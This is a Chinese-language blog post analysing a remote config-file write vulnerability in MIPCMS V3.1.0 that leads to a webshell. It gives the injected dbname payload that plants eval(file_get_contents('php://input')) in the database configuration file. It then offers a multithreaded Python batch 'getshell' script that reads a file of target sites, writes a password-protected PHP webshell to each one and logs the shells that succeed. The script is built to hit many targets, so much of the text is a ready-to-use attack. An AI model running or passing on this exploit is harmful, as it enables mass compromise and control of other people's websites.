小编给大家分享一下MIPCMS V3.1.0远程写入配置文件Getshell过程的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
0x02 环境
程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)
0x03 漏洞利用过程
-
我们先正常安装程序
2.在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'
数据库。
3.浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost
POST:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root
记得里面的数据库对应上你远程数据库服务器的信息!
可以看到一句把eval函数写到了配置文件里面了
4.执行代码,具体原理我会在后面构造poc的再详细讲解
浏览器访问:http://www.getpass.test/system/config/database.php
POST:phpinfo();
0x04 框架知识补充
还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003
首先我们现在thinkPHP的配置文件/system/config/config.php
里面修改下面这两个为true
然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽
,点击就可以看到文件的加载流程。
这里有很多文件会预加载,我们主要看它的路由文件Route.php
我们可以看到,这里检查了install.lock
文件存不存在,如果不存在就会跳转到安装的界面进行安装。
0x05 漏洞代码分析过程
/app/install/controller/Install.php
问题出现在这个文件,它里面的就在index这里检查的install.lock
的存在,但是在installPost
这个方法里面却没有检查,也没有做关联,在install.html
里面直接就跳过了,从而导致了程序重装。
下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:
-
一个是遍历数据库内容那里,我输出了
$matches
截图这个内容给你们好理解。
2.再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);
这句的时候我顺便截图了一个配置的内容。
0x06 Payload构造
-
从上面的代码分析下来,我们可以晓得,必须要传入的值有
username password rpassword dbport dbname dbhost dbuser dbpw
用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost
不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。 -
数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把
,
自动转换为.
,数据库密码是加密的,还有prefix
这个参数修改了会造成创建表的出现错误导致程序不能正常执行。
那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname
了。
3.还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))
这里用了转换小写,所以一句话的$_POST
和$_GET
就不能用了,不能用这个我们还可以用PHP的协议php://input
来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441
4.从上面代码分析,我们可以看出,替换值后面会加上',
,所以我们要对应上test',1=>eval(file_get_contents('php://input')),'2'=>'
最终的Payload:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root
0x07 用Python编写批量getshell脚本
我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。
#!/usr/bin/env#author:F0rmatimport sysimport requestsimport threadingdef exploit(target): dbhost='192.168.1.102' dbuser = 'root' dbpw = 'root' dbport=3306 dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'" if sys.argv[1]== "-f": target=target[0] url1=target+"/index.php?s=/install/Install/installPost" data={ "username": "admin", "password": "admin", "rpassword": "admin", "dbport": dbport, "dbname": dbname, "dbhost": dbhost, "dbuser": dbuser, "dbpw": dbpw, } payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');" url2=target+"/system/config/database.php" shell = target+'/system/config/shell.php' try: requests.post(url1,data=data).content requests.post(url2, data=payload) verify = requests.get(shell, timeout=3) if "f0rmat" in verify.content: print 'Write success,shell url:',shell,'pass:f0rmat' with open("success.txt","a+") as f: f.write(shell+' pass:f0rmat'+"/n") else: print target,'Write failure!' except Exception, e: print edef main(): if len(sys.argv)<3: print 'python mipcms_3.1.0.py -h target/-f target-file ' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "/n": threading.Thread(target=exploit, args=(b[i].split(),)).start()if __name__ == '__main__': main()
以上是“MIPCMS V3.1.0远程写入配置文件Getshell过程的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!
原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/222564.html